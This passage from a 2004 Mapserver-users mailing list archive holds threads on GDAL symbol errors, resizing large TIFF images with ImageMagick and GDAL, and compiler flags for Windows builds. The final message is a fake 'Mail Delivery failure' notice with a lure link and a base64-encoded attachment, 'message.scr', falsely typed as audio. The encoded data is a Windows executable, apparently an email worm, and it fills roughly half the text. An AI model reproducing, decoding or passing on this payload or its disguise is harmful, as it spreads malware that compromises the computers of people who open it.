_ZNK10OGRPolygon15getInteriorRingEi >>>001be140 T _ZNK10OGRPolygon19getNumInteriorRingsEv >>>001be060 T _ZNK10OGRPolygon22getCoordinateDimensionEv >>>001bdf20 T _ZNK10OGRPolygon5cloneEv >>>001bec80 T _ZNK10OGRPolygon5EqualEP11OGRGeometry >>>001be2a0 T _ZNK10OGRPolygon7WkbSizeEv >>>001beb30 T _ZNK10OGRPolygon8CentroidEP8OGRPoint >>>001beb10 T _ZNK10OGRPolygon8get_AreaEv >>>002cf658 V _ZTI10OGRPolygon >>>0024d276 V _ZTS10OGRPolygon >>>002cf560 V _ZTV10OGRPolygon >>> >>> >>So here is my output. >> >>I don't know what is the problem, and where it is. >> >>I hope you know this problem and how to solve it :/ >> >>Thanks in advance, >> >>seb :) >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> From thelen at ccgis.de Wed Mar 31 03:54:43 2004 From: thelen at ccgis.de (Benjamin Thelen) Date: Wed, 31 Mar 2004 13:54:43 +0200 Subject: [Mapserver-users] help with ImageMagick & gdal utilities Message-ID: <406AB183.7090209@ccgis.de> Hello, I have 300 24bit tif images (6400x6400) which need to be resized and converted to 8bit. There are some problems and I suppose that most of you might have quite an experience with ImageMagick and the gdal utilities. Converting & resizing (convert / mogrify) with ImageMagick stops with "Memory allocation failed", allthough it is a machine with 512M of RAM, enough swap (1G) and enough /tmp (60G). Converting an image with a size up to 5400x5400 runs through (I resized one tif with IrfanView), but it takes incredible long, compared to gdal_translate or Windows IrfanView. Also all the tiff-headers (tags) are lost, see the tiffinfo output below. This is also true for both gdal utilies (gdal_translate and rgb2pct.py). I would be happy about some general feedback, experiences, tips and of course solutions :-)! Thank you very much, Benjamin --------------------------------- CCGIS GbR - Bonn http://www.ccgis.de Siemensstra?e 8 53121 Bonn Germany Tel: ++49 (0) 228 90826 15 Fax: ++49 (0) 228 90826 11 Original: Subfile Type: (0 = 0x0) Image Width: 6400 Image Length: 6400 Resolution: 160, 160 pixels/cm Bits/Sample: 8 Compression Scheme: None Photometric Interpretation: RGB color FillOrder: msb-to-lsb Artist: "(c) XXXXXXXXXXXXXXX" Date & Time: "1999:06:26 00:00:00" Image Description: "XXXXX" Orientation: row 0 top, col 0 lhs Samples/Pixel: 3 Rows/Strip: 7008 Min Sample Value: 0 Max Sample Value: 255 Planar Configuration: single image plane Page Name: "3414000 5650000 3416000 5652000" Tag 37522: 5000 Tag 37523: 305 Tag 37524: 3414000,5650000,3416000,5652000 Tag 37525: 0 Tag 37527: 1,6400,6400,1 After rgb2pct.py: TIFF Directory at offset 0x271ce9e Image Width: 6400 Image Length: 6400 Bits/Sample: 8 Sample Format: unsigned integer Compression Scheme: None Photometric Interpretation: palette color (RGB from colormap) Samples/Pixel: 1 Rows/Strip: 1 Planar Configuration: single image plane Color Map: (present) After ImageMagick: TIFF Directory at offset 0x1d4c08 Image Width: 800 Image Length: 800 Resolution: 406, 406 pixels/inch Bits/Sample: 8 Compression Scheme: None Photometric Interpretation: RGB color FillOrder: msb-to-lsb Document Name: "XXX.tif" Orientation: row 0 top, col 0 lhs Samples/Pixel: 3 Rows/Strip: 3 Planar Configuration: single image plane Software: ImageMagick 5.5.7 03/16/04 Q16 http://www.imagemagick.org I also had a few errors with rgb2pct.py: . . . eError: not enough arguments for format string Traceback (most recent call last): File "./rgb2pct", line 96, in ? print '%s has %d bands, need 3 for inputs red, green and blue.' \ TypeError: not enough arguments for format string Traceback (most recent call last): File "./rgb2pct", line 96, in ? print '%s has %d bands, need 3 for inputs red, green and blue.' \ TypeError: not enough arguments for format string Traceback (most recent call last): File "./rgb2pct", line 96, in ? print '%s has %d bands, need 3 for inputs red, green and blue.' \ TypeError: not enough arguments for format string Traceback (most recent call last): File "./rgb2pct", line 96, in ? print '%s has %d bands, need 3 for inputs red, green and blue.' \ TypeError: not enough arguments for format string Traceback (most recent call last): File "./rgb2pct", line 96, in ? print '%s has %d bands, need 3 for inputs red, green and blue.' \ TypeError: not enough arguments for format string Traceback (most recent call last): File "./rgb2pct", line 96, in ? print '%s has %d bands, need 3 for inputs red, green and blue.' \ TypeError: not enough arguments for format string Traceback (most recent call last): File "./rgb2pct", line 96, in ? . . . From jhart at frw.uva.nl Wed Mar 31 04:53:59 2004 From: jhart at frw.uva.nl (Jan Hartmann) Date: Wed, 31 Mar 2004 14:53:59 +0200 Subject: [Mapserver-users] help with ImageMagick & gdal utilities In-Reply-To: <406AB183.7090209@ccgis.de> References: <406AB183.7090209@ccgis.de> Message-ID: <406ABF67.2070805@frw.uva.nl> Benjamin Thelen wrote: > > I have 300 24bit tif images (6400x6400) which need to be resized and > converted to 8bit. > > There are some problems and I suppose that most of you might have quite > an experience with ImageMagick and the gdal utilities. > > > Converting & resizing (convert / mogrify) with ImageMagick stops with > "Memory allocation failed", allthough it is a machine with 512M of RAM, > enough swap (1G) and enough /tmp (60G). Converting an image with a size > up to 5400x5400 runs through (I resized one tif with IrfanView), but it > takes incredible long, compared to gdal_translate or Windows IrfanView. > > Also all the tiff-headers (tags) are lost, see the tiffinfo output > below. This is also true for both gdal utilies (gdal_translate and > rgb2pct.py). > > > I would be happy about some general feedback, experiences, tips and of > course solutions :-)! > I have done this for lots of rasters up to 30000*30000 pixels with GRASS. Resizing gets done line by line, so there is no limit to the size of the raster. I think the same is true for converting to 8bits. For operations that require the whole image in memory, like rectifying, you can very easily split the image up, manipulate the parts, and stitch it back together. IMHO for working with large rasters, nothing beats GRASS, if only because it can be scripted so easily. HTH, Jan From Ballini.Yvain at seat.it Wed Mar 31 05:09:30 2004 From: Ballini.Yvain at seat.it (Ballini Yvain) Date: Wed, 31 Mar 2004 15:09:30 +0200 Subject: R: [Mapserver-users] Compiling mapserver with gdal Message-ID: <4B1A1EC0790F054193453C48725D431829FA1B@MSGBE1V1.seat.it> Hi, I've got exactly the same problem, with the same unresolved symbol (__HUGE which is defined in math.h)... If you compile gdal-1.2.0 with the default compiling flag (OPTFLAGS= /nologo /Ox /MD), it compiles ok, but when you compile mapserver 4.0 with it, it doesn't work because there are some conflicts of runtime library (I would like to compile mapserver and all other librarries in multithreaded: OPTFLAGS= /nologo /G7 /Ox /MT).... That's why I would like to know has succeded in compiling gdal-1.2.0 in mutithreaded. Thanks a lot !! Yvain. -----Messaggio originale----- Da: Michael Schulz [mailto:mschulz at webgis.de] Inviato: mercoled? 31 marzo 2004 9.35 A: Ballini Yvain Cc: mapserver-users at lists.gis.umn.edu Oggetto: Re: [Mapserver-users] Compiling mapserver with gdal Hi, i am also at the moment trying to compile mapserver-4.0.1 with VC7 and current versions of gd (2.0.21), gdal (1.2.0) ... I changed all support libraries to compile with the /MT switch and succeeded in building gdal with that option. But building mapserver didn't work, there were some unresolved external symbols, e.g. __HUGE. Now i am starting over with the /MD flag. Could someone give some advice which compiler flag should be used or is "better" suited for the needs of mapserver on windows? And could someone confirm that it is necessary to have all libs compiled with the same flags? Thanks, Michael Ballini Yvain schrieb: > > Hi List, > > I'm looking for a version of gdal which can be compiled with the > static multithread option (switch /MT in the makefile.vc). > Indeed, I've compiled mapserver 4.0 (with VC7 on XP) like this, and > the current version I've downloaded for gdal (gdal-1.2.0) seems not to > be compilable with the compiler options that I still have used for > compiling mapserver and other utilities: > OPTFLAGS= /nologo /Ox /MT $(WARNING_LEVEL) $(DEBUG) > LDFLAGS = /NODEFAULTLIB:libc /DEBUG > Has someone any idea or any gdal source version which is still > compilable with these options...? > > Thanks a lot. > Regards. > > Yvain Ballini. > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ----------------------------------------------------------- Michael Schulz in medias res Dipl.-Geologe Gesellschaft f?r Informationstechnologie mbH In den Weihermatten 66 79108 Freiburg 0761 55695-95 (Fax 96) mschulz at webgis.de www.webgis.de/www.zopecms.de From jwall at webpeak.com Wed Mar 31 05:20:19 2004 From: jwall at webpeak.com (jwall at webpeak.com) Date: Wed, 31 Mar 2004 16:20:19 +0300 Subject: [Mapserver-users] Mail Delivery (failure mapserver-users@lists.gis.umn.edu) Message-ID: <200403311320.i2VDKWEe019961@lists.gis.umn.edu> This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: multipart/alternative; boundary="----=_NextPart_001_001C_01C0CA80.6B015D10" ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable If the message will not displayed automatically,
follow the link to read the delivered message.

Received message is available at:
www.lists.gis.umn.edu/inbox/mapserver-users/read.php?sessionid-24193
 
------=_NextPart_001_001C_01C0CA80.6B015D10-- ------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: audio/x-wav; name="message.scr" Content-Transfer-Encoding: base64 Content-ID: <031401Mfdab4$3f3dL780$73387018 at 57W81fa70Re> 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 